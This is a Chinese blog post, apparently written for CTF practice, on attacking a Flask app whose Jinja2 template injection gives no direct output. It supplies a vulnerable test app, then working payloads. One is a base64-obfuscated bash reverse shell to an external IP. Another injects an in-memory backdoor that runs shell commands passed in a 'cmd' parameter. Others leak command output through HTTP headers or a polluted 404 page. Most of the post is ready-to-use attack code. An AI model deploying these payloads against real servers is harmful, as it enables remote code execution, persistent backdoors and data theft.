首页 > 其他分享 >jinjia2无回显SSTI

jinjia2无回显SSTI

时间:2024-11-27 17:10:42浏览次数:3  
标签:__ .__ builtins 无回显 globals lipsum __.__ SSTI jinjia2

参考了先知中的很多blog
先贴一个测试脚本

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

可以看到这里进行了一次模板渲染,存在SSTI漏洞,但是没有对渲染的结果进行回显.
这里的打法比较丰富.

写文件到static

最通用的一个办法,像js啥的也可以写到public中.

出网反弹shell

这也是最简单的一种打法,在出网的情况下直接反弹shell.

x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}

注入内存马

基础款:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

使用方式:直接get去传参cmd即可.
https://xz.aliyun.com/t/14539 这个文章中给出了很多其他的钩子的用法,然而尝试了并没有复现成功.
包括只用hex等方式去进行bypass的,也都没复现成功.

httpheader回显

http

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

server

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

错误页面

污染404:

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

可以使用InternalServerError等去替换NotFound来污染其他页面

盲注

不同情况下写法不同,注意使用二分来优化.

标签:__,.__,builtins,无回显,globals,lipsum,__.__,SSTI,jinjia2
From: https://www.cnblogs.com/meraklbz/p/18572680

相关文章

  • SSTI从0到入门
    SSTI基础flask的ssti模板引擎+注入模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成html的文本,......
  • 【第66课】Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入
    免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。文中所涉......
  • 【第59课】XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘
    知识点:1、XXE&XML-原理-用途&外实体&安全2、XXE&XML-黑盒-格式类型&数据类型3、XXE&XML-白盒-函数审计&回显方案详细点:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传......
  • Bugku:Simple_SSTI_2
    目录1.进入网站查看题目2.开始尝试3.判断引擎模板类型4.构造语句,开始注入5.得到flag1.进入网站查看题目再查看源代码,发现没有什么有用的。根据题目提示SSTI,搜索一下SSTI,了解一下。  SSTI(服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成......
  • 如何在flask和jinjia2模板中仅显示一个登录或注销按钮?
    我想在用户登录时显示注销按钮,在用户注销时显示登录按钮。但是这些按钮显示的次数与我有用户的次数一样多。我该如何修复它?--htmlcode{%foruserinusers%}{%ifuser.user_id==session['user_id']%}<liclass="nav-item">......
  • 实验说明 - ssti
    实验名称简单的ssti实验简介是一种针对服务器端模板的注入漏洞。实验说明攻击者将恶意代码输入到模板服务器在执行时未对恶意代码进行处理就输出执行将字符串当作模板执行ssti注入就是使其渲染我们想要执行的的字符串实验步骤步骤一:输入{{7*7}}判断类型步骤二:{{......
  • 实验说明 - ssti
    实验名称简单的ssti实验简介是一种针对服务器端模板的注入漏洞。实验说明攻击者将恶意代码输入到模板服务器在执行时未对恶意代码进行处理就输出执行将字符串当作模板执行ssti注入就是使其渲染我们想要执行的的字符串实验步骤步骤一:输入{{7*7}}判断类型步骤二:{{......
  • CTF-SSTI模板注入
    SSTI就是服务器端模板注入(Server-SideTemplateInjection)当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结......
  • [HNCTF 2022 WEEK2]ez_SSTI
    [HNCTF2022WEEK2]ez_SSTIpayload:?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("catflag").read()')}}1.首先输入{{8*8}}判......
  • buu SSTI
    buuSSTI[CSCCTF2019Qual]FlaskLight查看源码get传search有回显确定是ssti用脚本去查找可用的子类,参考连接看看是否有过滤猜测globals被过滤采用拼接绕过发现config可以用[BJDCTF2020]Cookieissostable查看源码,发现file://被禁掉了flag.phpadmin登......